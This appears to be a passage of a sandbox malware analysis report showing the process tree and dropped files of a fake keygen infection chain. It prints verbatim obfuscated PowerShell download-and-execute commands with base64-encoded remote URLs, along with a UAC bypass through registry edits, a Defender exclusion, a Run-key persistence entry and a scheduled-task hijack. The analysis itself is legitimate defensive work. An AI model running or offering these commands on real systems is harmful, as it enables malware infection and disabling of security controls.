$xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Public\ewd.exe"C:\Users\Public\ewd.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Rarujmxnv.vbs"6⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe"C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Coctuoidu.vbs"8⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"9⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"10⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe"C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe"8⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /pid 328 & erase C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe & RD /S /Q C:\\ProgramData\\168153133790457\\* & exit9⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /pid 32810⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Public\ewd.exe"C:\Users\Public\ewd.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\3082.tmp\b1.hta"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\timeout.exetimeout 23⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\3082.tmp\ba.hta"3⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Public\msr.exe"C:\Users\Public\msr.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /pid 2652 & erase C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe & RD /S /Q C:\\ProgramData\\483996907604505\\* & exit8⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /pid 26529⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"7⤵
- Executes dropped EXE
-
C:\Users\Public\msr.exe"C:\Users\Public\msr.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops desktop.ini file(s)
- Modifies system certificate store
-
C:\Users\Admin\AppData\Local\Temp\1wd1PPK5LT.exe"C:\Users\Admin\AppData\Local\Temp\1wd1PPK5LT.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe"Powershell" Add-MpPreference -ExclusionPath '"C:\Users\Admin\AppData\Local\Temp\1wd1PPK5LT.exe"'8⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\RBabUs54Us.exe"C:\Users\Admin\AppData\Local\Temp\RBabUs54Us.exe"7⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Windows\SysWOW64\Notepad.exe"C:\Windows\System32\Notepad.exe"8⤵
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Users\Public\Natso.bat9⤵
-
C:\Windows\SysWOW64\reg.exereg delete hkcu\Environment /v windir /f10⤵
- Modifies registry key
-
C:\Windows\SysWOW64\reg.exereg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\x.bat reg delete hkcu\Environment /v windir /f && REM "10⤵
- Modifies registry key
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I10⤵
-
C:\Windows\SysWOW64\cmd.execmd /c start /min C:\Users\Public\x.bat10⤵
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Users\Public\Natso.bat9⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKCU\SOFTWARE\Classes\ms-settings\shell\open\command" /t REG_SZ /d "C:\windows\system32\cmd.exe /c REG ADD HKLM\software\microsoft\windows\currentversion\policies\system /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f" /f10⤵
- Modifies registry class
-
C:\Windows\SysWOW64\reg.exeREG ADD "hkcu\software\classes\ms-settings\shell\open\command" /v DelegateExecute /t REG_SZ /d " " /f10⤵
- Modifies registry class
-
C:\Windows\SysWOW64\cmd.execmd /c start /min C:\Users\Public\x.bat10⤵
-
C:\Program Files (x86)\internet explorer\ieinstal.exe"C:\Program Files (x86)\internet explorer\ieinstal.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\eYPP1oZQ1b.exe"C:\Users\Admin\AppData\Local\Temp\eYPP1oZQ1b.exe"7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
\??\c:\windows\SysWOW64\cmstp.exe"c:\windows\system32\cmstp.exe" /au C:\Windows\temp\wz10mta1.inf8⤵
-
C:\Users\Admin\AppData\Local\Temp\EFWQHA1FzQ.exe"C:\Users\Admin\AppData\Local\Temp\EFWQHA1FzQ.exe"7⤵
- Executes dropped EXE
- Windows security modification
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" Get-MpPreference -verbose8⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Public\msr.exe"7⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK8⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\3082.tmp\ba1.hta"3⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Public\ewd.exe"C:\Users\Public\ewd.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Public\ewd.exe"C:\Users\Public\ewd.exe"6⤵
- Executes dropped EXE
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\MSVCP140.dll
-
C:\ProgramData\freebl3.dll
-
C:\ProgramData\freebl3.dll
-
C:\ProgramData\freebl3.dll
-
C:\ProgramData\mozglue.dll
-
C:\ProgramData\mozglue.dll
-
C:\ProgramData\mozglue.dll
-
C:\ProgramData\msvcp140.dll
-
C:\ProgramData\nss3.dllMD5
bfac4e3c5908856ba17d41edcd455a51
SHA18eec7e888767aa9e4cca8ff246eb2aacb9170428
SHA256e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78
SHA5122565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66
-
C:\ProgramData\nss3.dllMD5
bfac4e3c5908856ba17d41edcd455a51
SHA18eec7e888767aa9e4cca8ff246eb2aacb9170428
SHA256e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78
SHA5122565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66
-
C:\ProgramData\softokn3.dll
-
C:\ProgramData\softokn3.dll
-
C:\ProgramData\softokn3.dll
-
C:\ProgramData\sqlite3.dll
-
C:\ProgramData\vcruntime140.dll
-
C:\ProgramData\vcruntime140.dll
-
C:\ProgramData\vcruntime140.dll
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_0c385001-0ea7-4f34-9abd-9ad9da541281
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_231c2208-0720-4eec-b9f1-8bba11abd9fa
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235184f8-dcca-4459-ace7-181c154dff79
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235184f8-dcca-4459-ace7-181c154dff79
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235184f8-dcca-4459-ace7-181c154dff79
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235184f8-dcca-4459-ace7-181c154dff79
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235184f8-dcca-4459-ace7-181c154dff79
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235184f8-dcca-4459-ace7-181c154dff79
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2c552433-c0c6-4b59-b59d-98784320e1c4
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_39bd9ebf-efc5-491e-8507-4bc2976f8062
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_57c6647c-75fc-47bb-8ce4-3b8f0921c533
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6d5fa298-996f-4fc9-9c01-b2226cbdaeba
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7d6878ec-2a8b-418c-8f2b-b6fcd4b50cf8
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c8219dea-eb1f-4be0-8df0-d020070897b4
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_de4eedb8-4762-4c56-b80c-203df3aa6fa8
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e43ce3f6-b60d-4b70-bed1-86e53bf07360
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fabbb9cf-9b8c-4b2f-b33d-0de7a9a3a10e
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
-
C:\Users\Admin\AppData\Local\Temp\1wd1PPK5LT.exe
-
C:\Users\Admin\AppData\Local\Temp\1wd1PPK5LT.exe
-
C:\Users\Admin\AppData\Local\Temp\3082.tmp\Keygen.exe
-
C:\Users\Admin\AppData\Local\Temp\3082.tmp\Keygen.exe
-
C:\Users\Admin\AppData\Local\Temp\3082.tmp\b.hta
-
C:\Users\Admin\AppData\Local\Temp\3082.tmp\b1.hta
-
C:\Users\Admin\AppData\Local\Temp\3082.tmp\ba.hta
-
C:\Users\Admin\AppData\Local\Temp\3082.tmp\ba1.hta
-
C:\Users\Admin\AppData\Local\Temp\3082.tmp\m.hta
-
C:\Users\Admin\AppData\Local\Temp\3082.tmp\m1.hta
-
C:\Users\Admin\AppData\Local\Temp\3082.tmp\start.bat
-
C:\Users\Admin\AppData\Local\Temp\Coctuoidu.vbs
-
C:\Users\Admin\AppData\Local\Temp\EFWQHA1FzQ.exe
-
C:\Users\Admin\AppData\Local\Temp\EFWQHA1FzQ.exe
-
C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
-
C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
-
C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
-
C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
-
C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
-
C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
-
C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
-
C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
-
C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
-
C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
-
C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
-
C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
-
C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
-
C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
-
C:\Users\Admin\AppData\Local\Temp\RBabUs54Us.exeMD5
013db621a3351e3fb049efd2ccad79ff
SHA1a23394ea54dbc5342a77938a2c285ee616185560
SHA256df1bda6183201e4dc1bc6f6425361a565413e71f09da0648b0c82b39786af27a
SHA5121bf6d076677b234c9da7cbc720fc64632b587b4223b5370a7ca3d53c4d59fa59ef117957b1646c92ba80dac332f6c1c313060d35de7236b2585e5bed00d79229
-
C:\Users\Admin\AppData\Local\Temp\RBabUs54Us.exeMD5
013db621a3351e3fb049efd2ccad79ff
SHA1a23394ea54dbc5342a77938a2c285ee616185560
SHA256df1bda6183201e4dc1bc6f6425361a565413e71f09da0648b0c82b39786af27a
SHA5121bf6d076677b234c9da7cbc720fc64632b587b4223b5370a7ca3d53c4d59fa59ef117957b1646c92ba80dac332f6c1c313060d35de7236b2585e5bed00d79229
-
C:\Users\Admin\AppData\Local\Temp\Rarujmxnv.vbs
-
C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe
-
C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe
-
C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe
-
C:\Users\Admin\AppData\Local\Temp\eYPP1oZQ1b.exe
-
C:\Users\Admin\AppData\Local\Temp\eYPP1oZQ1b.exe
-
C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
-
C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
-
C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
-
C:\Users\Public\Natso.bat
-
C:\Users\Public\Natso.bat
-
C:\Users\Public\ewd.exe
-
C:\Users\Public\ewd.exe
-
C:\Users\Public\ewd.exe
-
C:\Users\Public\ewd.exe
-
C:\Users\Public\ewd.exe
-
C:\Users\Public\msr.exe
-
C:\Users\Public\msr.exe
-
C:\Users\Public\msr.exe
-
C:\Users\Public\zkh.exe
-
C:\Users\Public\zkh.exe
-
C:\Users\Public\zkh.exe
-
C:\Users\Public\zkh.exe
-
C:\Users\Public\zkh.exe
-
C:\Windows\temp\wz10mta1.inf
-
\??\PIPE\lsarpc
-
\??\PIPE\lsarpc
-
\??\PIPE\srvsvc
-
\??\PIPE\srvsvc
-
\??\PIPE\srvsvc
-
\ProgramData\mozglue.dll
-
\ProgramData\mozglue.dll
-
\ProgramData\mozglue.dll
-
\ProgramData\mozglue.dll
-
\ProgramData\msvcp140.dll
-
\ProgramData\msvcp140.dll
-
\ProgramData\msvcp140.dll
-
\ProgramData\msvcp140.dll
-
\ProgramData\nss3.dllMD5
bfac4e3c5908856ba17d41edcd455a51
SHA18eec7e888767aa9e4cca8ff246eb2aacb9170428
SHA256e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78
SHA5122565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66
-
\ProgramData\nss3.dllMD5
bfac4e3c5908856ba17d41edcd455a51
SHA18eec7e888767aa9e4cca8ff246eb2aacb9170428
SHA256e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78
SHA5122565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66
-
\ProgramData\nss3.dllMD5
bfac4e3c5908856ba17d41edcd455a51
SHA18eec7e888767aa9e4cca8ff246eb2aacb9170428
SHA256e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78
SHA5122565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66
-
\ProgramData\nss3.dllMD5
bfac4e3c5908856ba17d41edcd455a51
SHA18eec7e888767aa9e4cca8ff246eb2aacb9170428
SHA256e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78
SHA5122565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66
-
\ProgramData\sqlite3.dll
-
\ProgramData\sqlite3.dll
-
\ProgramData\sqlite3.dll
-
\ProgramData\sqlite3.dll
-
\ProgramData\vcruntime140.dll
-
\ProgramData\vcruntime140.dll
-
\ProgramData\vcruntime140.dll
-
\ProgramData\vcruntime140.dll
-
\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\freebl3.dll
-
\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\freebl3.dll
-
\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\mozglue.dll
-
\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\msvcp140.dll
-
\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\nss3.dllMD5
02cc7b8ee30056d5912de54f1bdfc219
SHA1a6923da95705fb81e368ae48f93d28522ef552fb
SHA2561989526553fd1e1e49b0fea8036822ca062d3d39c4cab4a37846173d0f1753d5
SHA5120d5dfcf4fb19b27246fa799e339d67cd1b494427783f379267fb2d10d615ffb734711bab2c515062c078f990a44a36f2d15859b1dacd4143dcc35b5c0cee0ef5
-
\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\softokn3.dll
-
\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\vcruntime140.dll
-
\Users\Admin\AppData\LocalLow\sqlite3.dll
-
\Users\Admin\AppData\Local\Temp\1wd1PPK5LT.exe
-
\Users\Admin\AppData\Local\Temp\3082.tmp\Keygen.exe
-
\Users\Admin\AppData\Local\Temp\EFWQHA1FzQ.exe
-
\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
-
\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
-
\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
-
\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
-
\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
-
\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
-
\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
-
\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
-
\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
-
\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
